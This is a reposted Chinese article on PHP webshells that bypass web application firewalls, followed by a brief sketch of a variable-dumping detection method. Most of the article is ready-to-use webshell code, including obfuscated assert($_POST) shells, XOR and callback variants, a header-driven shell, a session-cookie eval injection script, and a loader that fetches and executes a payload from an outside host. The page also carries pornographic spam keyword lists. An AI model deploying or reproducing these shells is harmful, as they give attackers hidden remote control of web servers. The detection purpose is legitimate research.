亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 語言 > PHP > 正文

PHP常見過waf webshell以及最簡單的檢測方法

2024-05-05 00:09:08
字體:
來源:轉載
供稿:網友

前言

之前在Webshell查殺的新思路中留了一個坑 ?,當時沒有找到具體找到全部變量的方法,后來通過學習找到了個打印全部量的方法,并再次學習了下PHP webshell繞過WAF的方法,以此來驗證下此方法是否合理。

如有錯誤,還請指出,不勝感激! :turtle:拜

在那篇文章中我突然想到一種檢測webshell的方法,就是首先獲取到當前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據正則庫進行靜態檢測。

自認為這種方法雖然會檢測不完全(每個檢測機制都不能保障全部有效),但是感覺非常簡單、實用,也沒那么多高深的道理。

為了驗證該檢測機制,首先了解下目前PHP webshell繞過WAF的方法。

常見繞過WAF的PHP webshell

字符串變形

大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾

<?php$a = base64_decode("YXNzYXNz+00000____");$a = substr_replace($a,"ert",3);$a($_POST['x']);?>ucwords()ucfirst()trim()substr_replace()substr()strtr()strtoupper()strtolower()strtok()str_rot13()chr()gzcompress()、gzdeflate()、gzencode()gzuncompress()、gzinflate()、gzdecode()base64_encode()base64_decode()pack()unpack()

自寫函數

利用 assert()

<?php function test($a){  $a($_POST['x']);}test(assert);?>

回調函數

<?php call_user_func(assert,array($_POST[x]));?>call_user_func_array()array_filter() array_walk() array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()forward_static_call_array()

利用魔術方法、析構函數 __destruct() , __construct()

<?php class test{ public $a = ''; function __destruct(){  assert("$this->a"); }}$b = new test;$b->a = $_POST['x'];?>

利用外部文件

利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents

<?phperror_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);?>

無字符特征馬

編碼、異或、自增

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);?>

特殊請求頭

利用 getallheaders()

<?php$cai=getallheaders()['cai'];$dao=getallheaders()['dao'];if($cai!="" and $dao!=""){ $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));}header('HTTP/1.1 404 Not Found');?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = "phpinfo();".encode('hex')cookies = { 'PHPSESSID':payload}r = requests.get(url=url,cookies=cookies)print r.content

PHP混淆加解密

以phpjiami為例

就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。

PHP webshell檢測方法

目前我所了解的webshell檢測方式有:

  1. 機器學習檢測webshell:比如混淆度、最長單詞、重合指數、特征、壓縮比等
  2. 動態檢測(沙箱)
  3. 基于流量模式檢測webshell:agent
  4. 逆向算法+靜態匹配檢測webshell:比如D盾webshell查殺
  5. 根據文件入度出度來檢測

實例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

PHP,waf,webshell

可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。

簡單檢測思路

檢測思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態檢測規則

PHP,waf,webshell

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對VeVb武林網的支持。


注:相關教程知識閱讀請移步到PHP教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
精品久久久久人成| 精品久久久久久久久久久久久久| 欧美激情一区二区久久久| 欧美性感美女h网站在线观看免费| 午夜精品久久久久久久男人的天堂| 久久久久九九九九| 91在线观看免费| 久久6精品影院| 亚洲精品99久久久久中文字幕| 国产亚洲精品美女| 91在线精品播放| 欧美激情在线狂野欧美精品| 日本精品一区二区三区在线| 日本精品一区二区三区在线播放视频| 亚洲欧美色图片| 国产精品久久久久免费a∨大胸| 38少妇精品导航| 欧美片一区二区三区| 成人免费网站在线| 国产精品久久久久久久久久新婚| 欧美久久久精品| 久久久久国产精品一区| 国产精品日韩一区| 欧美中文字幕视频在线观看| 国产裸体写真av一区二区| 国自在线精品视频| 日韩欧美国产视频| 国产亚洲人成网站在线观看| 日韩中文视频免费在线观看| 亚洲综合精品一区二区| 久久久伊人日本| 久久国产一区二区三区| 国产丝袜精品第一页| 亚洲欧美精品一区| 97成人精品视频在线观看| 91精品国产电影| 久久久久久久久久久免费精品| 国产精品777| 在线日韩日本国产亚洲| 国内精品模特av私拍在线观看| 最新的欧美黄色| 亚洲亚裔videos黑人hd| 91香蕉电影院| 美女久久久久久久久久久| www国产亚洲精品久久网站| 69视频在线免费观看| 成人黄色免费网站在线观看| 欧美成人在线免费| 亚洲国产日韩欧美综合久久| 国产精品综合网站| 国产日韩在线精品av| 欧美大片欧美激情性色a∨久久| 国产一区二区三区欧美| 亚洲国产日韩一区| 一区二区三区视频免费| 久久这里有精品视频| 亚洲成人在线视频播放| 欧美日韩电影在线观看| 国产一区二区三区高清在线观看| 黑人精品xxx一区| 91在线免费看网站| 在线a欧美视频| 久久成人综合视频| 中文字幕精品影院| 欧美裸体xxxx极品少妇软件| 91天堂在线观看| 国产免费一区二区三区在线观看| 国模极品一区二区三区| 亚洲石原莉奈一区二区在线观看| 欧美激情免费在线| 九九热这里只有精品6| 亚洲国产高清高潮精品美女| 国产区精品在线观看| 久久躁日日躁aaaaxxxx| 国产精品一香蕉国产线看观看| 精品成人国产在线观看男人呻吟| 热99精品里视频精品| 亚洲精品一区中文| 精品国偷自产在线视频| 一本色道久久88精品综合| 97视频免费看| 久久天天躁夜夜躁狠狠躁2022| 色偷偷噜噜噜亚洲男人的天堂| 国产91精品久| 欧美贵妇videos办公室| 亚洲自拍偷拍区| 亚洲自拍偷拍一区| 亚洲国产古装精品网站| 久久久在线免费观看| 日韩亚洲欧美中文高清在线| 日韩av免费在线观看| 伊人久久综合97精品| 亚洲成色777777在线观看影院| 亚洲精品国产电影| 日本韩国欧美精品大片卡二| 国产精品久久不能| 国内精品400部情侣激情| 亚洲最新在线视频| 国产精品成av人在线视午夜片| 久久精品久久久久电影| 欧美有码在线视频| 国产成人精品电影| 成人网址在线观看| 91po在线观看91精品国产性色| 国产精品免费看久久久香蕉| 亚洲男人的天堂在线| 隔壁老王国产在线精品| 欧美黄网免费在线观看| 国产一区二区香蕉| 欧美最猛性xxxx| 亚洲精品福利免费在线观看| 乱亲女秽乱长久久久| 92福利视频午夜1000合集在线观看| 精品久久久久久中文字幕大豆网| 国产91热爆ts人妖在线| 国产精品丝袜高跟| 精品国内产的精品视频在线观看| 国产成人鲁鲁免费视频a| 亚洲黄页网在线观看| 色偷偷综合社区| 亚洲精品美女在线观看| 一二美女精品欧洲| 日韩视频在线一区| 91久久嫩草影院一区二区| 亚洲国内高清视频| 中文字幕综合一区| 欧美激情精品久久久久久| 日韩精品极品在线观看播放免费视频| 国产一区二区三区免费视频| 久久的精品视频| 亚洲变态欧美另类捆绑| 国产精品夜间视频香蕉| 97国产真实伦对白精彩视频8| 亚洲免费视频观看| 国产专区精品视频| 欧美黑人视频一区| 色综合91久久精品中文字幕| 久久久免费观看视频| 国产精品亚洲аv天堂网| 国产精品欧美一区二区三区奶水| 亚洲精品国产品国语在线| 亚洲精品国产精品国产自| 久久精品色欧美aⅴ一区二区| 国产精品wwwwww| 亚洲成人黄色网| 97热精品视频官网| 91久久久久久| 成人黄色免费网站在线观看| 日韩成人网免费视频| 日本19禁啪啪免费观看www| 亚洲欧美国产高清va在线播| 日韩一区二区三区xxxx| 九九久久精品一区| 国产福利精品av综合导导航| 久久久久久久国产精品视频| 亚洲国产精品va在线| 成人精品一区二区三区电影免费| 成人高清视频观看www| 91chinesevideo永久地址| 成人a视频在线观看| 亚洲第一福利在线观看| 精品国产一区久久久| 韩国福利视频一区| 一区二区三区四区在线观看视频|